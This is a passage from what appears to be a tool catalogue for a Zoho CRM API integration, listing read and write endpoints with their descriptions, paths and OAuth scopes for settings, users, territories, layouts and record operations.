zohocrm_get_settings_automation_workflow_rules_actions_actions_count (read) — Get Workflow Rule Action Counts. To retrieve the total number of actions configured in the specified workflow rules in your Zoho CRM organization, including counts categorized by action type across both instant and scheduled actions. GET /api/v1/zohocrm/settings/automation/workflow_rules/actions/actions_count. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_workflow_rules_actions_module_specific_count (read) — Get Active and Total Workflow Rule Counts by Module. To retrieve the count of active and total workflow rules configured for each module in your Zoho CRM organization. GET /api/v1/zohocrm/settings/automation/workflow_rules/actions/module_specific_count. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_workflow_rules_actions_rules_count (read) — Get Workflow Rule Quota and Usage Counts. To retrieve the organization-level quota and current usage counts for workflow rules and actions in your Zoho CRM organization. The response includes the total and active rule limits (both organization-wide and per module), the number of rules currently configured, and the per-rule limits for actions and scheduled... GET /api/v1/zohocrm/settings/automation/workflow_rules/actions/rules_count. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_workflow_rules_by_id (read) — Retrieve Workflow Rule by ID. To retrieve the complete configuration of a specific workflow rule in your Zoho CRM organization, including its trigger type, execution criteria, conditions, instant actions, scheduled actions, and lock status. Use the [Get All Workflow Rules](workflow_rules.yaml#$.paths./settings/automation/workflow_rules.get)... GET /api/v1/zohocrm/settings/automation/workflow_rules/{id}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_workflow_rules_by_workflowruleid_actions_usage (read) — Retrieve Action Usage for a Workflow Rule. To retrieve the action usage report for a specific workflow rule in your Zoho CRM organization, including trigger count and per-action success, failure, and queue metrics, as well as email engagement statistics. Results are scoped to a configurable date range. GET /api/v1/zohocrm/settings/automation/workflow_rules/{workflowRuleId}/actions/usage. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_business_hours (read) — Business Hours Configuration. Retrieves the current business hours configuration, including working days, operating hours, and timezone details. GET /api/v1/zohocrm/settings/business_hours. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_business_hours_shift_hours (read) — Get shift hours. Retrieves every shift hour configured for the organization, along with the timing, break hours, holidays, time zone, and assigned users of each shift, and an aggregate count of shifts that have at least one user assigned. GET /api/v1/zohocrm/settings/business_hours/shift_hours. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_business_hours_shift_hours_by_shift (read) — Get a shift hour. Retrieves the configuration of the shift hour identified by the shift path parameter, including its timing, break hours, holidays, time zone, and the users assigned to it. GET /api/v1/zohocrm/settings/business_hours/shift_hours/{shift}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_call_preferences (read) — Call Preferences. To retrieve the current Call Preferences configuration for your Zoho CRM organization. The response reports whether the From Number and To Number fields are currently enabled on records in the Calls module. GET /api/v1/zohocrm/settings/call_preferences. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_custom_views (read) — Get All Custom Views. To retrieve the list of all Custom Views configured for a specified module in your Zoho CRM organization. GET /api/v1/zohocrm/settings/custom_views. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_custom_views_by_id (read) — Get Custom View By Id. To retrieve the details of a specific Custom View for a module in your Zoho CRM organization, using the Custom View ID. GET /api/v1/zohocrm/settings/custom_views/{id}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_data_sharing (read) — Data Sharing Settings. To retrieve your organization's default data-sharing permissions for modules. GET /api/v1/zohocrm/settings/data_sharing. Scopes: ZohoCRM.settings.ALL, ZohoCRM.settings.READ. zohocrm_get_settings_duplicate_check_preference (read) — Get Duplicate Check Preference. To retrieve the duplicate check preference configured for the Leads module in your Zoho CRM organization. GET /api/v1/zohocrm/settings/duplicate_check_preference. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_email_templates (read) — Email Templates. To retrieve a paginated list of email templates accessible to the authenticated user in your Zoho CRM organization. The list can be scoped to a specific CRM module using the module parameter, filtered by category (such as favorite, draft, or created_by_me), and refined using a structured filter expression. Results are... GET /api/v1/zohocrm/settings/email_templates. Scopes: ZohoCRM.templates.email.READ. zohocrm_get_settings_emails_actions_from_addresses (read) — Get from addresses. To retrieve the list of email addresses configured as sender addresses for a user in your Zoho CRM organization. GET /api/v1/zohocrm/settings/emails/actions/from_addresses. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_fields (read) — List fields metadata. To retrieve the field metadata for the specified module in your Zoho CRM account, including standard, custom, subform, and linking module fields. The response includes fields from all layouts but does not contain layout-specific configurations such as mandatory flags or picklist values. GET /api/v1/zohocrm/settings/fields. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_fields_by_fieldid (read) — Get field metadata by ID. To retrieve the metadata of a specific custom field in a module in your Zoho CRM account by its field ID. GET /api/v1/zohocrm/settings/fields/{fieldId}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_fields_by_fieldid_actions_scheduled_jobs (read) — Get scheduled jobs for a field. To retrieve the status of scheduled jobs for picklist field operations in your Zoho CRM account, such as replace or delete picklist option jobs. GET /api/v1/zohocrm/settings/fields/{fieldId}/actions/scheduled_jobs. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_fields_by_fieldid_pick_list_values (read) — Picklist Values for a Field. Returns the available pick list values for a specified field in a module, including display values (with translations if enabled), reference values, layout associations, and metadata. Returns 204 if the field exists but is not a pick list type. Does not support pagination. GET /api/v1/zohocrm/settings/fields/{fieldId}/pick_list_values. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_fields_by_fieldid_pick_list_values_by_picklistvalueid (read) — get a picklist field option. Picklist field option GET GET /api/v1/zohocrm/settings/fields/{fieldId}/pick_list_values/{pickListValueId}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_fiscal_year (read) — Get Fiscal Year Settings. To retrieve the fiscal year settings configured for your Zoho CRM organization. GET /api/v1/zohocrm/settings/fiscal_year. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_global_picklists (read) — Get All Global Picklists. Fetches the list of global picklists available in the organization along with their details. pick_list_values, used_in_modules, and associated_fields_count can be included in the response based on the 'include' query parameter. The response can be filtered in three ways: use the 'fields' query parameter to filter by... GET /api/v1/zohocrm/settings/global_picklists. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_global_picklists_by_id (read) — Get a Single Global Picklist by ID. Fetches the global picklist for given id along with their pick_list_values. used_in_modules, and associated_fields_count can be included in the response based on the 'include' query parameter. Use the fields query parameter to filter the response by key, so that only the requested keys along with id are returned. A... GET /api/v1/zohocrm/settings/global_picklists/{id}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_global_picklists_by_id_actions_associations (read) — Get Field Associations. Retrieves associations of picklist values with modules, fields, and layouts for a given global picklist ID. GET /api/v1/zohocrm/settings/global_picklists/{id}/actions/associations. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_global_picklists_by_id_actions_pick_list_values_associations (read) — Get Picklist Value Associations. To the list of features like blueprints, workflows create, workflow convert, workflow task, ABM, etc in which a particular picklist value is used. GET /api/v1/zohocrm/settings/global_picklists/{id}/actions/pick_list_values_associations. Scopes: ZohoCRM.settings.ALL. zohocrm_get_settings_global_picklists_by_id_actions_replaced_values (read) — Get Replaced Picklist Values. Retrieves picklist values that are currently being replaced through a replace scheduler for the given global picklist ID. GET /api/v1/zohocrm/settings/global_picklists/{id}/actions/replaced_values. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_holidays (read) — Holidays. To retrieve the list of holidays configured in Zoho CRM. Business holidays apply to all users, while shift holidays are specific to configured shift schedules. Returns paginated results. GET /api/v1/zohocrm/settings/holidays. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_holidays_by_holidayid (read) — A specific holiday. To retrieve the complete details of a specific holiday record from Zoho CRM using its unique identifier. GET /api/v1/zohocrm/settings/holidays/{holidayId}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_inventory_templates (read) — Inventory templates. To retrieve a paginated list of inventory templates configured in your Zoho CRM organization, with optional filtering by module, category, and field criteria, and sorting by name or usage and modification timestamps. GET /api/v1/zohocrm/settings/inventory_templates. Scopes: ZohoCRM.templates.inventory.READ. zohocrm_get_settings_inventory_templates_by_templateid (read) — Inventory Template. Retrieves a single inventory template by its ID with complete details including content and all metadata. GET /api/v1/zohocrm/settings/inventory_templates/{templateId}. Scopes: ZohoCRM.templates.inventory.READ. zohocrm_get_settings_layouts (read) — Get layouts metadata. To retrieve the layout configurations for a specified module in your Zoho CRM organization. Note: - The profiles array is null if the user does not have the Module Customization permission in their profile. - For the Deals module, when the pipeline feature is enabled, multiple layouts exist per pipeline, each with its... GET /api/v1/zohocrm/settings/layouts. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_layouts_by_id (read) — Get layout by ID. To retrieve the details of a specific layout by its layout ID for a specified module in your Zoho CRM account. Important Notes: - The profiles array is null when the user does not have 'Module Customization' permission in their profile. - For Deals module: When the pipeline feature is enabled, multiple layouts exist... GET /api/v1/zohocrm/settings/layouts/{id}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_layouts_by_layoutid_map_dependency (read) — Get field dependencies for a layout. To retrieve the list of field dependencies configured for a specific layout in your Zoho CRM organization. GET /api/v1/zohocrm/settings/layouts/{layoutId}/map_dependency. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_layouts_by_layoutid_map_dependency_by_dependencyid (read) — Get a field dependency by ID. To retrieve the complete details of a specific field dependency from a layout in your Zoho CRM organization, including all picklist value mappings. GET /api/v1/zohocrm/settings/layouts/{layoutId}/map_dependency/{dependencyId}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_module_by_moduleid_actions_generate_link (read) — Generate web-tab link for a module. To generate the configured web-tab link for a specific module in your Zoho CRM organization. The moduleid path parameter must be the module's API name (e.g., Leads, Contacts, Custom_Module_1). GET /api/v1/zohocrm/settings/module/{moduleid}/actions/generate_link. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_modules (read) — Retrieve modules. Retrieves the list of all modules available in the Zoho CRM account, including standard, custom, subform, and linking (MxN) modules. Supports optional filtering by status, feature_name, and include to control the scope and depth of the response. When both status and feature_name are provided, modules must satisfy both... GET /api/v1/zohocrm/settings/modules. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_modules_by_moduleidentifier (read) — Get module metadata by API name. Retrieves complete metadata for a specific CRM module identified by its API name, including fields, layouts, profiles, related lists, and feature capabilities. Returns 204 when the module is not available through this endpoint, or 400 when the identifier is invalid or the module is unsupported GET /api/v1/zohocrm/settings/modules/{moduleIdentifier}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_pipeline (read) — Pipelines. Retrieve all pipelines available for the specified Deals layout. Use the required layout_id query parameter to identify the layout. GET /api/v1/zohocrm/settings/pipeline. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_pipeline_by_pipelineidentifier (read) — Specific Pipeline. Retrieve a specific pipeline by pipeline ID for the specified Deals layout. GET /api/v1/zohocrm/settings/pipeline/{pipelineIdentifier}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_portals (read) — Portals. To retrieve the list of all portals configured for the Zoho CRM organization. A 204 response indicates no portal has been created yet. GET /api/v1/zohocrm/settings/portals. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_portals_by_portal (read) — Specific Portal. To retrieve the complete configuration of a specific portal in the Zoho CRM organization, including its SAML authentication settings, active status, and creation metadata. GET /api/v1/zohocrm/settings/portals/{portal}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_portals_by_portal_user_type (read) — Portal User Types. Retrieves a list of all portal user types configured for the specified portal, with their summary configuration including name, status, user counts, and last modification time. GET /api/v1/zohocrm/settings/portals/{portal}/user_type. Scopes: ZohoCRM.settings.ALL, ZohoCRM.settings.READ. zohocrm_get_settings_portals_by_portal_user_type_by_usertype_users (read) — List portal users. To retrieve the list of portal users in your Zoho CRM organization for the specified portal and user type, with optional filtering by source. GET /api/v1/zohocrm/settings/portals/{portal}/user_type/{userType}/users. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_portals_by_portal_user_type_by_usertypeid (read) — Portal User Type. Retrieves the full configuration of a single portal user type, including identity fields, active status, user counts, audit metadata, personality module, invitation field, and per-module access permissions. GET /api/v1/zohocrm/settings/portals/{portal}/user_type/{userTypeId}. Scopes: ZohoCRM.settings.ALL, ZohoCRM.settings.READ. zohocrm_get_settings_profiles (read) — Profiles. Retrieves the paginated list of all profiles in the organization, including each profile's name, type, permission details, and section groupings. Use the type query parameter to filter by profile type, and include_types to include Lite or Support profiles alongside the default set. See [Get... GET /api/v1/zohocrm/settings/profiles. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_profiles_by_id (read) — Profile. Retrieves the full details of the CRM profile identified by {id}, including its complete permission tree organized by sections and categories. See [Get Profiles](https://www.zoho.com/crm/developer/docs/api/v8/get-profiles.html). GET /api/v1/zohocrm/settings/profiles/{id}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_record_locking_configurations (read) — Get record locking configuration. Retrieves the existing record locking configuration for the specified module. GET /api/v1/zohocrm/settings/record_locking_configurations. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_record_locking_configurations_by_id (read) — Get specific record locking configuration. Retrieves a specific record locking configuration using the configuration ID provided in the URL path. GET /api/v1/zohocrm/settings/record_locking_configurations/{id}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_recycle_bin (read) — Get recycle-bin records. To retrieve a paginated list of records currently present in the Recycle Bin in your Zoho CRM account. The response contains up to 200 records per page, along with pagination metadata. The list can be filtered by display name, source module, the user who deleted the records, or the deletion timestamp. Sorting is... GET /api/v1/zohocrm/settings/recycle_bin. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_recycle_bin_actions_count (read) — Get recycle-bin record count. To retrieve the total count of records currently present in the Recycle Bin in your Zoho CRM account. The count reflects every entry across all modules. GET /api/v1/zohocrm/settings/recycle_bin/actions/count. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_recycle_bin_by_recordid (read) — Get a recycle-bin record. To retrieve metadata for a single record from the Recycle Bin in your Zoho CRM account using its unique ID. The response includes the display name, source module, deletion timestamp, original owner, and the user who deleted the record. GET /api/v1/zohocrm/settings/recycle_bin/{recordId}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_related_lists (read) — Related Lists. To retrieve the configuration of related list panels for a specific module in your Zoho CRM organization, including display metadata, available record operations, and layout-specific settings. GET /api/v1/zohocrm/settings/related_lists. Scopes: ZohoCRM.settings.ALL, ZohoCRM.settings.READ. zohocrm_get_settings_roles (read) — Get all roles. Returns the list of all roles configured in your Zoho CRM organization. GET /api/v1/zohocrm/settings/roles. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_roles_by_role (read) — Get a role. Returns the details of a single role, specified by its ID in the URL. GET /api/v1/zohocrm/settings/roles/{role}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_service_preferences (read) — Get service preferences. Retrieves the service preference settings of the organization, including whether the job sheet is enabled for service appointments. Use this API to check whether a job sheet can be generated once a service appointment is marked complete. GET /api/v1/zohocrm/settings/service_preferences. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_tags (read) — Tags. To retrieve all tags associated with a module in your Zoho CRM organization. GET /api/v1/zohocrm/settings/tags. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_tags_actions_mass_delete (read) — Mass Delete Tags Status. To retrieve the current status, the scheduled time, and the success and failure counts for a previously scheduled mass delete tag job in your Zoho CRM organization, using the job ID returned by the Mass Delete Tags POST operation. GET /api/v1/zohocrm/settings/tags/actions/mass_delete. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_tags_by_id_actions_records_count (read) — Get Tag Records Count. Retrieves the number of records associated with a specific tag, including workflow, blueprint, and orchestration usage details. GET /api/v1/zohocrm/settings/tags/{id}/actions/records_count. Scopes: ZohoCRM.settings.ALL. zohocrm_get_settings_territories (read) — Get all territories. To retrieve the list of territories enabled for your Zoho CRM organization. GET /api/v1/zohocrm/settings/territories. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_territories_actions_associated_users_count (read) — Get territory-associated user counts. To retrieve the number of users associated with each territory in your Zoho CRM organization. GET /api/v1/zohocrm/settings/territories/actions/associated_users_count. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_territories_actions_scheduled_run_rule_jobs (read) — Get scheduled territory run rule job status. To retrieve the status of a scheduled territory rule execution job in your Zoho CRM organization by specifying the job_id parameter. GET /api/v1/zohocrm/settings/territories/actions/scheduled_run_rule_jobs. Scopes: ZohoCRM.settings.ALL, ZohoCRM.settings.READ. zohocrm_get_settings_territories_by_id (read) — Get territory by ID. To retrieve the details of a specific territory in your Zoho CRM organization using its unique ID. GET /api/v1/zohocrm/settings/territories/{id}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_territories_by_id_child_territories (read) — Get child territories by parent territory ID. To retrieve the list of child territories for a specific parent territory in your Zoho CRM organization. Use the ID path parameter to specify the parent territory, and optional query parameters such as filters, include, include_inner_details, page, and per_page to narrow results and control pagination. GET /api/v1/zohocrm/settings/territories/{id}/__child_territories. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_territories_by_territory_users (read) — Territory Users. To retrieve the list of users associated with a territory in your Zoho CRM organization. GET /api/v1/zohocrm/settings/territories/{territory}/users. Scopes: ZohoCRM.settings.ALL, ZohoCRM.settings.READ, ZohoCRM.users.ALL, ZohoCRM.users.READ. zohocrm_get_settings_territories_by_territory_users_by_user (read) — Specific Territory User. To retrieve the details of a specific user associated with a territory in your Zoho CRM organization. GET /api/v1/zohocrm/settings/territories/{territory}/users/{user}. Scopes: ZohoCRM.settings.ALL, ZohoCRM.settings.READ, ZohoCRM.users.ALL, ZohoCRM.users.READ. zohocrm_get_settings_unsubscribe_link_actions_associations (read) — Get Unsubscribe Link Associations. To retrieve information about where unsubscribe links are being used (associated places) in your CRM account, such as in email templates. GET /api/v1/zohocrm/settings/unsubscribe_link/actions/associations. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_unsubscribe_links (read) — Get Unsubscribe Links. To retrieve the details of all unsubscribe links configured in your CRM account. This API returns a list of unsubscribe links with their complete configuration, including page type, submission behavior, timestamps, and creator information. GET /api/v1/zohocrm/settings/unsubscribe_links. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_unsubscribe_links_by_id (read) — Get Unsubscribe Link by ID. To retrieve the complete configuration details of a specific unsubscribe link using its ID. This includes page settings, submission behavior, timestamps, and creator information. GET /api/v1/zohocrm/settings/unsubscribe_links/{id}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_user_groups (read) — Get user groups. To retrieve a paginated list of user groups configured in your Zoho CRM organization, with optional filtering by name or criteria, and optional inclusion of member source counts. GET /api/v1/zohocrm/settings/user_groups. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_user_groups_actions_associated_users_count (read) — Get associated users count per user group. To retrieve the count of users associated with user groups in your Zoho CRM organization, optionally filtered by group criteria. GET /api/v1/zohocrm/settings/user_groups/actions/associated_users_count. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_user_groups_by_group (read) — Get a user group. To retrieve the details of a specific user group in your Zoho CRM organization by its unique ID, with optional inclusion of member source counts. GET /api/v1/zohocrm/settings/user_groups/{group}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_user_groups_by_group_actions_associations (read) — Get associations for a user group. To retrieve the list of CRM resources, such as sharing rules, workflows, assignment rules, and approval processes, that are associated with a specific user group in your Zoho CRM organization. GET /api/v1/zohocrm/settings/user_groups/{group}/actions/associations. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_user_groups_by_group_actions_sources_count (read) — Get source counts for a user group. To retrieve the count of member sources by type (users, roles, territories, and groups) for a specific user group in your Zoho CRM organization. GET /api/v1/zohocrm/settings/user_groups/{group}/actions/sources_count. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_user_groups_by_group_sources (read) — Get sources for a user group. To retrieve the paginated list of member sources configured for a specific user group in your Zoho CRM organization. GET /api/v1/zohocrm/settings/user_groups/{group}/sources. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_variable_groups (read) — Variable Groups. To retrieve a list of all variable groups in your Zoho CRM organization. GET /api/v1/zohocrm/settings/variable_groups. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_variable_groups_by_id (read) — Get variable group by ID. To retrieve the details of a specific variable group by its ID in your Zoho CRM organization. GET /api/v1/zohocrm/settings/variable_groups/{id}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_variables (read) — Retrieve all variables. Retrieves all available CRM variables. Returns the API name, display name, description, type, value, and variable group for each variable. Requires the ZohoCRM.settings.variables.READ scope. GET /api/v1/zohocrm/settings/variables. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_variables_by_id (read) — specific variable. Retrieves the details of a specific CRM variable by its ID. The group query parameter, specifying the variable group ID or API name, is mandatory when retrieving a specific variable. Requires the ZohoCRM.settings.variables.READ scope. GET /api/v1/zohocrm/settings/variables/{id}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_variables_by_id_actions_associations (read) — Variable Associations. Get associated variables GET /api/v1/zohocrm/settings/variables/{id}/actions/associations. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_wizards (read) — Get all wizard configurations. To retrieve the wizard configurations available in your Zoho CRM organization. The response can be filtered by module using the module query parameter. When you set up conditional rules for a wizard, the response contains the keys execute_on and type. execute_on represents when the conditional rule is executed. The... GET /api/v1/zohocrm/settings/wizards. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_wizards_by_id (read) — Get wizard details. To retrieve the complete configuration of a single wizard in your Zoho CRM organization, including its containers, screens, segments, buttons, and conditional rules. GET /api/v1/zohocrm/settings/wizards/{id}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_zia_data_enrichment (read) — Data Enrichment. Use this API to get the details of configuration for data enrichment. This API gives you the mapping of the enrich fields with their corresponding CRM fields for enriching data. Use the [Get Modules API](modules.yaml#$.paths./settings/modules.get) to get module IDs and API names for filtering or reference. GET /api/v1/zohocrm/settings/zia/data_enrichment. Scopes: ZohoCRM.zia.enrichment.READ. zohocrm_get_settings_zia_data_enrichment_by_id (read) — Get Zia Enrichment Configuration for a specific module. Retrieves a specific Zia Enrichment Configuration by ID. Use the [Get Fields Metadata API](fields.yaml#$.paths./settings/fields.get) to get CRM field IDs and API names, and the [Get Modules API](modules.yaml#$.paths./settings/modules.get) to get module IDs and API names for reference. GET /api/v1/zohocrm/settings/zia/data_enrichment/{id}. Scopes: ZohoCRM.zia.enrichment.READ. zohocrm_get_users (read) — Get users. To retrieve all users in your Zoho CRM organization based on the specified filter parameters, including type, role, query criteria, and field selection. GET /api/v1/zohocrm/users. Scopes: ZohoCRM.users.READ. zohocrm_get_users_actions_transfer (read) — Get user transfer status. Retrieves the current status of a user transfer operation using the job ID returned by the transfer request. The response indicates whether the transfer job is scheduled, in progress, completed, or failed. GET /api/v1/zohocrm/users/actions/transfer. Scopes: ZohoCRM.change_owner.READ. zohocrm_get_users_actions_transfer_and_delete (read) — Get transfer and delete status. Retrieves the current status of a transfer and delete operation using the job ID returned by the POST request. The response indicates whether the job is scheduled, in progress, completed, or failed. GET /api/v1/zohocrm/users/actions/transfer_and_delete. Scopes: ZohoCRM.users.DELETE, ZohoCRM.users.READ. zohocrm_get_users_by_user (read) — Get a specific user. To retrieve the details of a specific user in Zoho CRM, use the unique user ID as the path parameter. GET /api/v1/zohocrm/users/{user}. Scopes: ZohoCRM.users.READ. zohocrm_get_users_by_user_actions_associated_groups (read) — Get associated groups for a user. To retrieve the paginated list of user groups associated with a specific user in your Zoho CRM organization, with optional inclusion of member sources and source counts. GET /api/v1/zohocrm/users/{user}/actions/associated_groups. Scopes: ZohoCRM.settings.READ. zohocrm_get_users_by_user_territories (read) — Get territories of a user. To retrieve all territories assigned to a specific user in your Zoho CRM organization. GET /api/v1/zohocrm/users/{user}/territories. Scopes: ZohoCRM.settings.READ, ZohoCRM.users.READ. zohocrm_get_users_by_user_territories_by_territory (read) — Specific territory of a user. To retrieve a specific territory assigned to a user in your Zoho CRM organization. GET /api/v1/zohocrm/users/{user}/territories/{territory}. Scopes: ZohoCRM.settings.READ, ZohoCRM.users.READ. zohocrm_get_users_by_userid_actions_validate_before_transfer (read) — Validate user before transfer. Validates whether the specified user has open records, assignments, criteria configurations, subordinates, or alerts before transferring the user's data. Use this operation to check the user's dependencies before initiating a transfer. GET /api/v1/zohocrm/users/{userId}/actions/validate_before_transfer. Scopes: ZohoCRM.change_owner.READ. zohocrm_get_workflow_configurations (read) — Workflow Configuration. Retrieves the available triggers, actions, and related trigger details for a specific module. Use this endpoint before creating or updating workflow rules to discover which triggers and actions are supported, their per-type limits, scheduling compatibility, and related module triggers. The response includes three... GET /api/v1/zohocrm/workflow_configurations. Scopes: ZohoCRM.settings.READ. zohocrm_get_write_by_jobid (read) — Get bulk write job details. To retrieve the details of a previously created bulk write job in your Zoho CRM organization, including its current status, per-resource and per-file processing counts, the creator, and the download URL of the result archive once the job completes. The download URL remains accessible for up to seven days after the job... GET /api/v1/zohocrm/write/{jobId}. Scopes: ZohoCRM.bulk.CREATE. zohocrm_get_zia_org_enrichment (read) — Get Zia Org Enrichment. To retrieve the paginated list of Zia organization enrichment jobs that have been scheduled in your Zoho CRM organization. Each entry includes the job identifier, current status, creation timestamp, and the user who triggered the job. GET /api/v1/zohocrm/__zia_org_enrichment. Scopes: ZohoCRM.settings.READ. zohocrm_get_zia_org_enrichment_by_id (read) — Org Enrichment Details. Fetches the enrichment status and enriched organization data for a specific enrichment job using its unique ID. Returns completed, scheduled, or failed enrichment information along with enriched fields such as name, website, email, address, CEO, revenue, employees, social media, and industries. GET /api/v1/zohocrm/__zia_org_enrichment/{id}. Scopes: ZohoCRM.settings.READ. zohocrm_patch_actions_watch (write) — Update notification channel information. To partially update the properties of a notification channel in your Zoho CRM organization. PATCH /api/v1/zohocrm/actions/watch. Scopes: ZohoCRM.notifications.ALL, ZohoCRM.notifications.UPDATE. zohocrm_patch_settings_fields (write) — Update custom fields. To update one or more custom fields in a module in your Zoho CRM account. PATCH /api/v1/zohocrm/settings/fields. Scopes: ZohoCRM.settings.ALL. zohocrm_patch_settings_fields_by_fieldid (write) — Update a custom field. To update a specific custom field in a module in your Zoho CRM account by its unique field ID. PATCH /api/v1/zohocrm/settings/fields/{fieldId}. Scopes: ZohoCRM.settings.ALL. zohocrm_patch_settings_global_picklists (write) — Update a Global Picklist. Updates an existing global picklist. You can update display_label, api_name, description, pick_list_values_sorted_lexically, and pick_list_values. Backend-generated properties (actual_label, customizable, modified_by, created_by, presence) cannot be updated. For pick_list_values, you can add new values, update... PATCH /api/v1/zohocrm/settings/global_picklists. Scopes: ZohoCRM.settings.ALL. zohocrm_patch_settings_global_picklists_by_id (write) — Update a Global Picklist by ID. Updates an existing global picklist identified by the path parameter {id }. You can update display_label, api_name, description, pick_list_values_sorted_lexically, and pick_list_values. Backend-generated properties (actual_label, customizable, modified_by, created_by, presence) cannot be updated. For... PATCH /api/v1/zohocrm/settings/global_picklists/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_patch_settings_layouts_by_id (write) — Update a custom layout. To update a custom layout in your Zoho CRM organization, including renaming it, modifying profile permissions, enabling or disabling the business card display, and creating, updating, or deleting sections and fields within sections. PATCH /api/v1/zohocrm/settings/layouts/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_patch_settings_pipeline (write) — Pipeline. Update or delete a pipeline for the specified layout using a request body that identifies the pipeline and its stage mappings. PATCH /api/v1/zohocrm/settings/pipeline. Scopes: ZohoCRM.settings.ALL. zohocrm_patch_settings_pipeline_by_pipelineidentifier (write) — Pipeline. Update or delete a specific pipeline identified by the path ID within the specified layout. PATCH /api/v1/zohocrm/settings/pipeline/{pipelineIdentifier}. Scopes: ZohoCRM.settings.ALL. zohocrm_patch_settings_profiles_by_id (write) — Profile. Partially updates the name, description, and permission enablement for the profile identified by {id}. System profiles (Administrator, Standard) cannot be updated. See [Update Profile Permission](https://www.zoho.com/crm/developer/docs/api/v8/update-profile-permission.html). PATCH /api/v1/zohocrm/settings/profiles/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_post_actions_watch (write) — Create notification channels. To create one or more notification channels in your Zoho CRM organization. POST /api/v1/zohocrm/actions/watch. Scopes: ZohoCRM.notifications.ALL, ZohoCRM.notifications.CREATE. zohocrm_post_appointments_s (write) — Create Appointment records. To create one or more appointment records in your Zoho CRM organization. POST /api/v1/zohocrm/Appointments__s. Scopes: ZohoCRM.modules.CREATE. zohocrm_post_by_module (write) — Create records in a specified module. Creates one or more records in the specified module in your Zoho CRM organization. Use the [Get Modules API](modules.yaml#$.paths./settings/modules.get) to retrieve the module API name. Use the [Get Fields Metadata API](fields.yaml#$.paths./settings/fields.get) to retrieve the available field API names and data types.... POST /api/v1/zohocrm/{module}. Scopes: ZohoCRM.modules.CREATE. zohocrm_post_by_module_actions_add_tags (write) — Add Tags to Records. Associates tags to one or more records in the specified module. POST /api/v1/zohocrm/{module}/actions/add_tags. Scopes: ZohoCRM.modules.ALL. zohocrm_post_by_module_actions_assign_territories (write) — Assign territories to multiple records. To assign one or more territories to multiple records in your Zoho CRM organization. POST /api/v1/zohocrm/{module}/actions/assign_territories. Scopes: ZohoCRM.modules.UPDATE. zohocrm_post_by_module_actions_change_owner (write) — Change Owner. Updates the owner of multiple records in the module. Note: The module name Deals is accepted and internally resolved to Potentials. Meetings is internally resolved to Events. POST /api/v1/zohocrm/{module}/actions/change_owner. Scopes: ZohoCRM.change_owner.CREATE. zohocrm_post_by_module_actions_enrol_in_cadences (write) — Enroll Records to Cadences. Enrolls CRM records into one or more cadences. Notes - Only Manual Enrollment cadences can be enrolled through this API. - Available only in Enterprise edition and 